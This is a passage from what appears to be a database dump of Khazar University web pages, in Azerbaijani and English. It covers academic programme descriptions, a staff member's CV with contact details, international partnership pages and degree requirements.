bəşəriyyətin qlobal problemləri və\r\nonların mümkün həlli yollarını, dünyanın müasir siyasi xəritəsinin formalaşma\r\nmərhələlərini və Azərbaycan Respublikasının müasir dünyanın iqtisadi və siyasi\r\nsistemində özünəməxsus yerini müəyyən etmək üçün bilik və bacarıqlara sahib ola\r\nbilərsiniz. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>050213 –\r\nBeynəlxalq münasibətlər</strong></p>\r\n<p style=\"text-align:justify\">Beynəlxalq Münasibətlər ixtisası üzrə təhsil alan bakalavr\r\ntələbəmiz bəşəriyyətin qlobal problemləri və onların həlli\r\nyollarını, dünyanın müasir siyasi xəritəsinin formalaşma mərhələlərini, Azərbaycan\r\nRespublikasın müasir dünyanın iqtisadi və siyasi sistemində yerini müəyyən etməyi\r\nöyrənir. Eyni zamanda, müasir inteqrasiya proseslərinin formalaşma şəraitini,\r\ninteqrasiya proseslərinin nəzəri və praktik aspektlərini təhlil etməyi, Azərbaycan\r\nRespublikasının bu qloballaşma prosesində iştirakını təhlil etməyi öyrənir. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>050211 –\r\nRegionşünaslıq (Avropa)</strong></p>\r\n<p style=\"text-align:justify\">Regionşünaslıq üzrə\r\ntəhsil imkanı tələbəyə ixtisas\r\nregionundakı beynəlxalq münasibətlərin tarixini, sistemini yaradan konfransları\r\nvə müqavilələri, beynəlxalq münasibətlərin təzahürləri, böhran və problemləri,\r\nmüasir dövrdə bu münasibətlərin dünya diplomatiyasında səciyyəsini öyrənmək\r\nimkanı verir. Eyni zamanda, ixtisas regionunun ədəbiyyatını, siyasi sistemlərini,\r\ndövlətlərinin quruluşu və hakimiyyət orqanlarını, ixtisas regionunun tarixi,\r\nonun dövrləri, ümumdünya tarixində yerini, region ölkələrinin dünya\r\niqtisadiyyatında ixtisaslaşdığı sahələri və dünya iqtisadi inkişafına təsir\r\nimkanlarını bilməyə şərait yaradır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Niyə biz?</strong></p>\r\n<p style=\"text-align:justify\">Politologiya ixtisası\r\nüzrə fənlər Xəzər Universitetinin Siyasi Elm&nbsp;və Beynəlxalq Münasibətlər\r\ndepartamenti tərəfindən&nbsp;ingilis dilində tədris olunur. Sağlam və şəffaf\r\nakademik təməllərə söykənən və tələbələrə dünya standartlarına yaxın təhsil\r\nverməyi hədəfləyən kafedramız əsasən xaricdə ixtisaslaşmış və uzunmüddətli\r\ntəlim təcrübəsinə malik müəllim heyətindən ibarətdir. Qeyd olunmalıdır ki, universitetimizdə tətbiq olunan kredit sistemi və xaricdə\r\ntanınan diplomumuz gələcəkdə qabaqcıl dünya universitetlərində də təhsilini\r\ndavam etmək istəyən hər bir məzunumuza geniş fürsətlər yaradır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Təcrübə imkanları</strong></p>\r\n<p style=\"text-align:justify\">Departamentimiz gəncləri sadəcə nəzəri biliklərə\r\nyiyələndirməklə kifayətlənmir. Universitetdə qazanılan nəzəri bilikləri\r\npraktiki təcrübəyə çevirməsini asanlaşdırmaq məqsədilə 2015-ci ildən etibarən\r\nməcburi təcrübə proqramlarımız təklif olunur. Müxtəlif qurumlarla imzalanmış çoxsaylı\r\nikitərəfli müqavilələrimiz tələbələrimizə professional sahədə praktik biliklərə\r\nyiyələnmək imkanı verir. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Məzunlarımız\r\nharada işləyə bilər?</strong></p>\r\n<p style=\"text-align:justify\">Politologiya ixtisasımız\r\ntələbələrimizdə araşdırma bacarıqları və analitik düşüncə inkişafı üçün\r\nimkanlar açmaqla bərabər məzun olduqdan sonra dövlət və özəl sektorda, müxtəlif\r\nbeynəlxalq şirkətlərdə və dövlət qurumlarında peşəkar həyata başlamaq imkanı\r\nyaradır. Eyni zamanda, politologiya ixtisası üzrə təhsil tələbələrə müxtəlif\r\nuniversitetlərdə, media qurumlarında, beynəlxalq təşkilatlar və onların\r\nregional ofislərində, digər dövlət və özəl qurumlarda iş imkanları yaradır. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dərsdənkənar\r\nfəaliyyət və tədbirlər</strong></p>\r\n<p style=\"text-align:justify\">Departamentimizdə fəaliyyət göstərən müxtəlif klub və\r\nmərkəzlər tələbələrimizə bənzərsiz imkanları qazandırmağa xidmət edir.\r\nPolitologiya ixtisası üzrə təhsil olan hər bir tələbəmiz Avropa Birliyinin Erasmus+\r\nproqramının dəstəyi ilə “Jean Monnet” Avropa Seminarlar Silsiləsi çərçivəsində\r\nmütəmadi təşkil olunan tədbirlərdə iştirak edə bilir. Tələbələrimizin universitet həyatını daha da maraqlı\r\netmək üçün ara-sıra müxtəlif məşğələlər, simulyasiyalar, və təlim\r\nekskursiyaları, o cümlədən səfirlərlə və xarici ekspertlərlə görüşlər mütəmadi\r\nolaraq keçirilir. Yerli ekspertlərin və xarici qonaqların iştirakı ilə\r\nAzərbaycanın xarici siyasəti, beynəlxalq munasibətlər və dünyada baş verən cari\r\nsiyasi prosesləri müzakirə etmək üçün seminarlar təşkil edilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Xarici\r\nuniversitetlərlə əməkdaşlıq və mübadilə imkanları</strong>&nbsp;</p>\r\n<p style=\"text-align:justify\">İxtisaslarımız üzrə təhsil alan və həm də beynəlxalq təcrübə\r\nqazanmaq istəyən tələbələrimiz Erasmus+ və Mevlana proqramları, o cümlədən müxtəlif\r\nuniversitetlərlə imzanlanmış ikitərəfli mübadilə müqavilələrimizdən yararlanaraq,\r\nqabaqcıl Avropa və Türkiyə universitetlətində bir və ya iki semestrlik müddətdə\r\ntələbə mübadiləsi çərçivəsində vaxt itirmədən təhsil ala bilər.</p><p><img src=\"http://www.khazar.org/files/career/fb.png\" style=\"border:0px  #000000;width:30px;height:36px;margin-right:4px;float:left\"><a href=\"https://www.facebook.com/psird/\">https://www.facebook.com/psird/&nbsp;</a>&nbsp;</p><p><img src=\"http://www.khazar.org/files/politics_depart/barcode.png\" style=\"width:80px;height:80px;float:left\"><br></p> <p><br></p>'),(281,149,'az','Psixologiya','Psixologiya','<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify\"\"=\"\"><img src=\"/files/psycho_depart/poster-psixologiya-bash.jpg\" style=\"float:left;width:150px;height:138px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Dünyada baş verən sürətli dəyişiklik və\r\ninkişafın&nbsp;müsbət təsirləri ilə\r\nyanaşı,&nbsp;insanlar üzərində mənfi\r\ntəsirləri də qaçılmazdır.&nbsp;İnsanlar psixoloji,\r\nfizioloji, sosial yöndən çətinliklərlə üzləşir və çox vaxt&nbsp;peşэkar&nbsp;psixoloqa&nbsp;ehtiyac\r\nhiss edirlər. Psixoloqlar zəka, təfəkkür, təxəyyül, motivasiya, emosiya və s.kimi sahələri öyrənir. Psixoloqlar gündəlik həyatda insan davranışları\r\nilə əlaqədar problemləri həll etmə yollarını axtarır və bu problemlərin həlli\r\nüçün insanlara&nbsp;kömək edirlər. İnsanların problemlərinin böyük əksəriyyəti, tibbi deyil, psixoloji xarakter daşıyır. Dünyada psixoloqlara ehtiyac gündən-günə artmaqdadır.&nbsp;</p><p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify\"\"=\"\">Xəzər Psixologiya&nbsp;departamenti 2010-cu ildə yaranıb.&nbsp;Proqram psixologiyanın nəzəriyyəsini və praktikasını birləşdirir və bu sahədə uğurlu karyera qurmaq üçün zəruri olan fərdi və qrup psixoloji məsləhət texnikalarını öyrədir.&nbsp;</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify\"\"=\"\"><em><strong><br></strong></em></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify\"\"=\"\"><em><strong>Niyə Xəzərdə Psixologiya ixtisası?!</strong>&nbsp;</em></p><ul><li>İngilis dilində keyfiyyətli təhsil&nbsp;</li><li>Dünyanın qabaqcıl ali məktəblərinin təcrübələrinə əsaslanan tədris proqramı</li><li>Məzunların təhsilini xaricdə davam etdirmə imkanı</li><li>Azərbaycanda təhsil almış yüksək səviyyəli mütəxəssislərlə yanaşı,xaricdə təhsil almış ixtisaslı müəllim heyəti</li><li>Klinikalarda və xəstəxanalarda təcrübə imkanı</li><li>Xəzər Psixoloji Xidmət Mərkəzində peşəkar&nbsp;inkişaf üçün mütəmadi seminar, kurslar, konfranslarda iştirak imkanı&nbsp;</li></ul><p style=\"text-align:justify\">Psixologiya elmi sahəsində baş verən son nailiyyətlər, beynəlxalq&nbsp;təcrübənin öyrənilməsi məqsədi ilə&nbsp;ilk dəfə və davamlı olaraq universitetimizdə keçirilən Azərbaycan Psixologiya Konfransı respublikada böyük rəğbət doğurmaqdadır. Xəzərli tələbə üçün bu konfransa ev sahibliyi etmək böyük qürurdur.</p><p><span style=\"text-align:justify\"><em><strong><br></strong></em></span></p><p><span style=\"text-align:justify\"><em><strong>Bu peşə kimlər üçün uyğundur?</strong></em></span><strong style=\"text-align:justify\"><em></em></strong></p>\r\n<ul><li>Düşüncələrini&nbsp;yazılı və sözlü ifadə edə bilən  <br></li><li>Analitik düşüncə qabiliyyəti olan insanlar<br></li><li>Yaradıcı<br></li><li>Səbirli<br></li><li>Təmkinli</li><li>Dinləməyi sevən</li><li>Ünsiyyət qurmağı bacaran insalar</li></ul>\r\n<p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>Karyera perspektivləri:&nbsp;</em></strong></p>\r\n<ul><li>xəstəxanalar&nbsp;</li><li>poliklinikalar  <br></li><li>uşaq evləri  <br></li><li>təhsil müəssisələri  <br></li><li>psixoloji xidmət mərkəzləri  <br></li><li>yaşlılar evi  <br></li><li>sənaye sahələri&nbsp;</li></ul><p style=\"text-align:justify\">Psixoloqlar ixtisaslaşacaqları sahədən asılı olaraq klinik psixoloq, uşaq psixoloqu, ailə psixoloqu və s. kimi&nbsp;də fəaliyyət göstərə bilərlər. </p>\r\n<p style=\"text-align:justify\"><br></p><h3><strong></strong>Əlaqə:</h3><p><img src=\"/files/psycho_depart/18058024_10207205670494764_3841531442518842867_n.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/MELEK%20KERIMOVA%20CV.pdf\">Mələk Kərimova</a></strong>&nbsp;</p><p><strong>Xəzər Universiteti Psixologiya Departamentinin Koordinatoru&nbsp;</strong></p><p><strong>Xəzər Psixoloji Xidmət Mərkəzinin direktoru</strong>&nbsp;</p><p>PhD namizəd (Xəzər Universiteti,&nbsp;Azərbaycan)  <br></p><p>Psixoloji Xidmət və Rəhbərlik üzrə magistratura (Hacəttəpə<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Universiteti,&nbsp;Türkiyə)</p><p> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Psixoloji Xidmət və Rəhbərlik üzrə&nbsp;bakalavr (Hacəttəpə<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Universiteti,&nbsp;Türkiyə)&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;E-mail:</strong>&nbsp;<a href=\"http://mailto:psychology@khazar.org/\">psychology[at]khazar.org</a></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Telefon:&nbsp;</strong>(+994 12) 421 10 93 (275)</p>  <p><br></p><p><strong>Bizi Facebook-da izləyin:</strong></p><p> <a href=\"https://www.facebook.com/khazarpsych/\">https://www.facebook.com/khazarpsych/</a></p><p><br></p><p><br></p>'),(1727,1073,'en','   Ulker Isayeva',' Ulker Isayeva','<div><br></div><div><br></div><div><br></div><div><strong>Ulker Isayeva</strong>  <br></div><div><br></div><div><table><tbody><tr><td><strong>Phone:&nbsp;&nbsp;</strong></td><td><p>+994 12 4936495 (home)</p><p>+994 50 2520017<br></p></td></tr><tr><td><strong>E-mail</strong>:<br></td><td><p>ulker_17@yahoo.com</p><p>uisayeva@khazar.org</p></td></tr></tbody></table>  <br></div><div><br></div><div><strong>EDUCATION</strong>  <br></div><div><p><br></p></div><div> <div><br></div><div><table><tbody><tr><td><p><strong>09/2008</strong></p><p><strong>University of York</strong></p><p><strong>York, UK</strong></p>    </td><td><p><strong>Department of Psychology</strong></p><ul><li>Diploma of Master of Science</li><li>Major: Cognitive Neuroscience</li></ul>  &nbsp;</td></tr><tr><td>&nbsp;<p><strong>06/2006</strong></p><p><strong>Khazar</strong><strong>&nbsp;University</strong><strong>&nbsp;</strong></p><p><strong>Baku</strong><strong>, Azerbaijan</strong></p>  </td><td>&nbsp;<p><strong>School of Humanities and Social Sciences</strong></p><ul><li>Diploma of Bachelor of Sciences</li><li>Major: Psychology<strong>&nbsp;</strong></li></ul>  </td></tr><tr><td>&nbsp;<p><strong>09/2005 – 06/2006</strong></p><p><strong>Bogazici</strong><strong>&nbsp;University</strong><strong>&nbsp;</strong></p><p><strong>Istanbul</strong><strong>, Turkey</strong><strong>&nbsp;</strong></p>    </td><td>&nbsp;<p><strong>School</strong><strong>&nbsp;of Psychology</strong><strong>&nbsp;</strong></p><ul><li>Student</li><li>Transferred grades to Khazar University</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>09/2003 – 06/2005</strong></p><p><strong>Santa Monica</strong><strong>&nbsp;College</strong><strong>&nbsp;</strong></p><p><strong>Santa Monica</strong><strong>, CA, USA</strong><strong>&nbsp;</strong></p>  </td><td>&nbsp;<p><strong>School</strong><strong>&nbsp;of Psychology</strong><strong>&nbsp;</strong></p><ul><li>Student</li></ul><ul><li>Dean’s honors list - 06/2005</li><li>Transferred grades to Khazar University</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>03/2003 – 05/2003</strong></p><p><strong>West</strong><strong>&nbsp;Los Angeles College</strong><strong>&nbsp;</strong></p><p><strong>Los Angeles</strong><strong>, CA, USA</strong><strong>&nbsp;</strong></p>  </td><td>&nbsp;<p><strong>English Language School</strong></p><ul><li>Received certificate of English proficiency</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>09/2001 – 01/2003</strong></p><p><strong>Khazar</strong><strong>&nbsp;University</strong><strong>&nbsp;</strong></p><p><strong>Baku</strong><strong>, Azerbaijan</strong><strong>&nbsp;</strong></p>  </td><td>&nbsp;<p><strong>School of Humanities and Social Sciences</strong></p><ul><li>Student</li><li>Dean’s honors list - 01/2002</li></ul>  </td></tr></tbody></table><br></div><br></div><div><br></div><div><strong>Qualifications</strong>  <br></div><div><br></div><div><table><tbody><tr><td>&nbsp;<strong>01/2011</strong>  </td><td>“Motivational competency” training. Institute of Clinical Psychology &amp; Psychotherapy, Moscow, Russia.  &nbsp;</td></tr><tr><td>&nbsp;<strong>07/2010</strong>  </td><td>&nbsp;Seminar on Applied Psychology. WASET. Paris, France  </td></tr><tr><td>&nbsp;<strong>04/2010</strong>  </td><td>&nbsp;Family psychology training program. Odessa, Ukraine.  </td></tr><tr><td>&nbsp;<strong>12/2009</strong>  </td><td>&nbsp;“The Evolution of Psychotherapy Conference” Anaheim, California, USA.  </td></tr><tr><td>&nbsp;<strong>07/2007<p><strong>British Council</strong></p><p><strong>Baku</strong><strong>, Azerbaijan</strong><strong>&nbsp;</strong></p>  </strong>  </td><td>&nbsp;Passed IELTS exam with a grade of 8.0 out of 9.0  </td></tr><tr><td>&nbsp;<p><strong>06/2005</strong></p><p><strong>Santa Monica</strong><strong>&nbsp;College</strong><strong>&nbsp;</strong></p><p><strong>Santa Monica</strong><strong>, CA, USA</strong><strong>&nbsp;</strong></p>  </td><td>&nbsp;Received certificate of computer information systems  </td></tr></tbody></table><br></div><div><br></div><div><br></div><div> <div><strong>employment / Volunteer Experience</strong>  <br></div><div><br></div><div><br></div><table><tbody><tr><td><p><strong>09/2011</strong></p><p><strong>Khazar University</strong></p><p><strong>Baku, Azerbaijan</strong></p>  &nbsp;</td><td>&nbsp;<ul><li>HR Director</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>01/2011</strong></p><p><strong>ASAAP – Azerbaijan Social Aid and Awareness Program</strong></p>  </td><td>&nbsp;<ul><li>Co-founder</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>08/2010 – present</strong></p><p><strong>ASAIF – Azerbaijani Students &amp; Alumni International Forum</strong></p>  </td><td>&nbsp;<ul><li>Co-founder &amp; Board member</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>01/2009 – present</strong></p><p><strong>Psychological Counseling &amp;</strong></p><p><strong>Psychotherapy Center</strong></p><p><strong>Baku, Azerbaijan</strong></p>  </td><td>&nbsp;<ul><li>Director<strong>&nbsp;</strong></li><li>Head Psychologist<strong>&nbsp;</strong></li></ul>  </td></tr><tr><td>&nbsp;<p><strong>10/2008 – present&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Khazar University</strong></p><p><strong>Baku, Azerbaijan</strong></p>  </td><td>&nbsp;<p><strong>Department of Social Sciences</strong></p><ul><li>Teaching different psychology courses (Social Psychology, Political Psychology, Human Development, Psychopathology, General Psychology)</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>09/2009 – 05/2010</strong></p><p><strong>Dunya High School</strong></p><p><strong>Baku, Azerbaijan</strong></p>  </td><td>&nbsp;<p><strong>International Baccalaureate Program</strong></p><ul><li>Teaching IB TOK (Theory of Knowledge) class</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>06/2006 – 08/2007</strong></p><p><strong>Khazar</strong><strong>&nbsp;University</strong><strong>&nbsp;</strong></p><p><strong>Baku</strong><strong>, Azerbaijan</strong></p>  </td><td>&nbsp;<p><strong>Career development center</strong></p><ul><li>Career counselor</li></ul><p><strong>International and Public Affairs Center</strong></p><ul><li>Coordinator</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>04/2006</strong></p><p><strong>Crisis intervention agency</strong></p><p><strong>Istanbul</strong><strong>, Turkey</strong></p>  </td><td>&nbsp;<ul><li>Volunteered in “Violence within a family” project</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>01/2005 – 06/2005</strong></p><p><strong>Cravings Restaurant</strong></p><p><strong>West Hollywood</strong><strong>, CA, USA</strong><strong>&nbsp;</strong></p>  </td><td>&nbsp;<ul><li>Manager</li></ul>  </td></tr><tr><td>&nbsp;<p><strong>09/2004 – 01/2005</strong></p><p><strong>Dunya High School</strong></p><p><strong>Baku</strong><strong>, Azerbaijan</strong></p>  </td><td>&nbsp;<ul><li>Student counselor</li><li>Headed the English language conversation club</li></ul>  </td></tr><tr><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table><br></div><div><br></div><div><strong>Skills / INTERESTS / ACTIVITIES</strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"655\"><tbody><tr><td colspan=\"2\" width=\"258\"><p><strong>Language Skills</strong></p></td><td colspan=\"2\" width=\"397\"><p>Azerbaijani - native<strong>&nbsp;</strong></p><p>Russian - fluent</p><p>English – fluent</p><p>Turkish - fluent</p><p>Persian - good</p><p>&nbsp;</p></td></tr><tr><td colspan=\"2\" width=\"258\"><p><strong>Computer Skills</strong></p></td><td colspan=\"2\" width=\"397\"><p>User of MS Word, Excel and PowerPoint, Internet Browsers, Adobe PhotoShop</p><p>&nbsp;</p></td></tr><tr><td colspan=\"2\" width=\"258\"><p><strong>Hobbies</strong></p></td><td colspan=\"2\" width=\"397\"><p>Azerbaijani national dances</p><ul><li>Former member of Khazar University Dance Club</li><li>Participated in a number of international dance festivals</li></ul><p>&nbsp;</p><p>Learning languages and studying cross-cultural differences</p></td></tr></tbody></table>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(282,22,'az','Kitabxana','Kitabxana','<p><a href=\"http://library.khazar.org/index-az.html\">Kitabxana</a>&nbsp;</p>'),(283,23,'az','Əlaqələr','Əlaqələr','<p>Xəzər Universitetinin beynəlxalq əməkdaşlıq ənənələri uzun illərdir ki, davam edir. Qurulduğundan bu yana beynəlxalq əlaqələr universitetin əsas məqsədlərindən birinə çevrilmişdir. Xəzər Universiteti dünyanın bir çox ölkəsi ilə ortaq layihələrdə və əməkdaşlıqlarda aktiv fəaliyyət göstərir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Hal-hazırda əsas məqsəd elmi-tədqiqat və təhsilin beynəlxalqlaşdırılması məqsədilə beynəlxalq əməkdaşlığın keyfiyyətinə və məğzinə diqqət verməkdir. Beynəlxalq əməkdaşlıq universitetdə elmi-tədqiqat və tədrisin keyfiyyətini və davamlılığını təmin edən mühüm vasitələrdən biridir.</p>'),(284,150,'az','Təşkilat və Şirkətlər','Təşkilat və Şirkətlər','<p>Yarandığı gündən etibarən geniş beynəlxalq əlaqələrinin qurulması Xəzər Universitetinin inkişaf strategiyasının əsas istiqamətlərindən biri olmuşdur. Universitetin beynəlxalq əlaqələri bir sıra istiqamətlərdə həyata keçirilir. Onlardan biri də təşkilat və şirkətlərlə səmərəli əməkdaşlıq proqramlarının həyata keçirilməsidir. Bu məqsədlə Xəzər Universiteti müxtəlif dövlət və qeyri-dövlət təşkilatları, sənaye və biznes, beynəlxalq fondlarla əməkdaşlıq edir.</p><p>ABŞ, Cənubi Koreya, Türkiyə və Yaponiya kimi ölkələrin səfirlikləri xarici müəllimlərin işə cəlb olunmasında və digər çoxsaylı əlaqələrin qurulmasında öz ölkələrində tərəfdaş axtarışında universitetə köməklik etməklə yanaşı, qrantlar çərçivəsində müəyyən mərkəzlərin işini maliyyələşdirir, Universitənin müxtəlif avadanlıqlarla təmin olunmasına da kömək edirlər. Səfirliklərlə yanaşı Xəzər Universitəsinin müxtəlif avadanlıqların təmin olunmasında köməklik edən beynəlxalq təşkilat və şirkətlər də vardır. Xəzər Universitetində öz kitabxanasını yerləşdirən Qafqaz-Beynəlxalq Ekoloji Epidemiologiya Cəmiyyəti, Xəzər Universitəsinin kitabxanasına yardım edən Türkiyənin&nbsp;Ankara şəhərində yerləşən Yaxın Şərq Universiteti, Siyasi Elmlər departamentinin auditoriyasını avadanlıqla təchiz edən Türk \"Sonmes Kilichli Punto\" şirkəti və “E-learning” otağını təchiz edən Azercell belələrindəndir.</p><p>Eyni zamanda Xəzər Universiteti EY (Ernst &amp; Young), PricewaterhouseCoopers, Philip Morris, Azersun Holding, TÜSIAB (Azerbaycan Türk Sanayıcı ve İşadamları Beynelhalk Cemiyeti), Hyatt International, Coca-Cola Azerbaijan, McDermott, Norveç Humanitar Müəssi­sələri, BMT (Birləşmiş Millətlər Təşkilatı),&nbsp;BMT-nin Uşaq Fondu (UNICEF), Elm, Təhsil və Mədəniyyət üzrə Birləşmiş Millətlər Təşkilatı (UNESCO) və s. kimi çoxsaylı təşkilatlarla sıx əməkdaşlıq edir. Universitetimizin bir çox məzunları adı çəkilən müəssisələrdə yüksək vəzifələrdə işləyirlər.</p><p>Həyata keçirilən bu və digər əməkdaşlıq əlaqələri xarici tələbə və müəllimlərin cəlb edilməsini, Xəzərin Azərbaycanda və beynəlxalq aləmdə geniş nüfuzunu, maddi-texniki bazanın güclənməsini, ümumilikdə universitetdə təhsilin keyfiyyətinin&nbsp;artırılmasını təmin edir.</p>'),(285,151,'az','Təhsil və Tədqiqat İnstitutları','Təhsil və Tədqiqat İnstitutları','<p>Beynəlxalq əlaqələr şəbəkəsinin genişlənməsi Xəzər universitetinə tələbə və müəllimlərin mübadiləsi və xaricdəki fakultələrə və tələbələrə Azərbaycanın təhsil və tədqiqat imkanlarından istifadə etməyə şərait yaradır.Beynəlxalqlaşdırma prosesi aşağıdakı sahələrdə baş verir:</p><ul><li>İkitərəfli əməkdaşlıq müqavilələri</li><li>Avrasiya Universitetləri Birliyi, Qara Dəniz Universitetləri Birliyi, Xəzər Dənizi Universitetləri Birliyi, Demokratiya üçün Universitetlər İttifaqı, Beynəlxalq İnformasiya Təhlükəsizliyi Təqdiqatı Konsorsiumu və Akademik Əməkdaşlıq üzrə Qafqaz Beynəlxalq Konsorsiumu kimi universitet konsorsiumlarına üzvlük</li><li>Beynəlxalq təhsil və tədqiqat proqramaları və layihələrində iştirak</li><li>Tələbə və müəllimlərin mübadiləsi</li><li>Fakültələrin, institutların, departamentlərin və şəxslərin beynəlxalq əməkdaşlığı</li></ul><p>Müxtəlif universitetlərin konsorsiumunda iştirak etməklə mübadilənin müxtəlif növlərini qüvvətləndirir və təhsilin eləcə də elmi tədqiqatın beynəlxalqlaşdırılması imkanlarını genişləndirir.İkitərəfli mübadilə müqavilələrinin icrasında fəal iştirak və&nbsp;<a href=\"http://www.khazar.org/az/menus/493/erasmus_mundus\">ERASMUS</a>&nbsp;proqramı çərçivəsində geniş əməkdaşlıq fəalliyəti Xəzər Universiteti tərəfindən dəstəklənir. Müəllim və tələbə mübadiləsinin nəzərdə tutulduğu əməkdaş universitetlərlə imzalanan müqavilələr hər il gözlənildiyindən də artıq inkişaf edir və çoxalır.</p><p>Xəzər Universiteti həm bütövlüklə təhsil almaq istəyən həm də mübadilə üçün müraciət edən beynəlxalq tələbələr üçün maraqlı məkana çevrilib. Bir çox qonaq professorlar tədris prosesinə cəlb edilir və fakültələr onlarla getdikcə daha çox ünsiyyətdə olurlar.</p>'),(286,152,'az','Partnyorlar','Partnyorlar','<p>Xəzər Universitetinin Beynəlxalq Əlaqələr Ofisinin missiyası Universitetin beynəlxalq əlaqələrini koordinasiya etmək və inkişaf etdirməkdən ibarətdir.&nbsp;Beynəlxalq Əlaqələr Ofisi tələbə qəbulu prosesi daxil olmaqla universitetin ümumi beynəlxalq strategiyasında, tələbə mübadiləsində və &nbsp;universitetlərlə eləcə də beynəlxalq təşkilatlarla əməkdaşlıq məsələlərində əsas rol oynayır. Beynəlxalq Əlaqələr Ofisi həmçinin beynəlxalq tələbələrə və mütəxəssislərə müvafiq olaraq məsləhət verir və kömək göstərir.</p><p>Bizim əsas rolumuz bu və digər vəzifələrdən ibarətdir:</p><ul><li>Beynəlxalq əməkdaşlıq və tərəfdaşlıq sazişlərinə təşəbbüs göstərilməsi və idarə olunması</li><li>Universiteti bir sıra beynəlxalq və yerli konfranslarda eləcə də müxtəlif tədbirlərdə təmsil etmək</li><li>Erasmus Mundus, Mevlana kimi mübadilə proqramlarını koordinasiya etmək</li><li>Universitetlərarası tələbə mübadiləsini koordinasiya etmək</li><li>Beynəlxalq tələbələrə, mütəxəsislərə və qonaqlara müvafiq xidmət göstərmək</li><li>Beynəlxalq tələbələrin Azərbaycanda statuslarının legallaşdırılmasına kömək göstərmək</li></ul><p>Beynəlxalq Əlaqələr Ofisi təhsil, tədqiqat, təlim və s. məqsədilə universiteti ziyarət edən əcnəbilərə tam mənada köməklik göstərir. Bu sahəyə daxildir:</p><ul><li>Viza məktublarının təmin olunması</li><li>Gəlişin planlaşdırılması</li><li>Yaşayış yeri ilə bağlı məlumatlandırma</li><li>Miqrasiya məsləhətləri</li><li>Uyğunlaşma proqramları</li><li>Əsaslı səbəbdən elmi müddətin uzadılması</li><li>Fövqəladə hallarda və ya gözlənilməz miqrasiya problemləri zamanı məsləhətləşmə</li></ul><p>Beynəlxalq Əlaqələr Ofisinin göstərdiyi xidmətlər haqqında ətraflı məlumat əldə etmək üçün onun <strong><a href=\"http://international.khazar.org\">əsas səhifəsinə</a></strong>&nbsp;keçin.</p>'),(287,25,'az','Akademik Siyasət','Akademik Siyasət',''),(288,153,'az','Akademik Tələblər','Akademik Tələblər','<p>Tədris proqramları aşağıdakı 3 əsas hissədən ibarətdir:</p><ul><li>Universitet tələbləri <strong>(UT)</strong></li><li>Ümumtəhsil tələbləri <strong>(ÜTT)</strong></li><li>İxtisas tələbləri <strong>(İT)</strong></li></ul>'),(289,154,'az','Dərəcələrə Qoyulan Tələblər','Dərəcələrə Qoyulan Tələblər','<p><strong>Bakalavr dərəcəsi</strong></p><p>Bakalavr dərəcəsi almaq üçün tələbələr ümumilikdə aşa­ğı­dakı tələbləri ödəməlidirlər:</p><ul style=\"font-size:medium\"><li>İхtisasından asılı оlaraq, ən azı 40 fənn охuyub 128-140 krеdit tоplamalı;</li><li>Univеrsitet tələblərini ən azı 27 krеdit tоplamaqla yеrinə yеtirməli;</li><li>Ümumtəhsil tələblərini ən azı 21 krеdit tоplamaqla yе­ri­nə yеtirməli;</li><li>Тələbənin ümumi оrta qiyməti, еləcə də iхtisas fənləri üzrə оrta qiyməti (G.P.A.)&nbsp;70-dən aşağı оlmamalıdır.</li></ul><p><strong>Мagistr 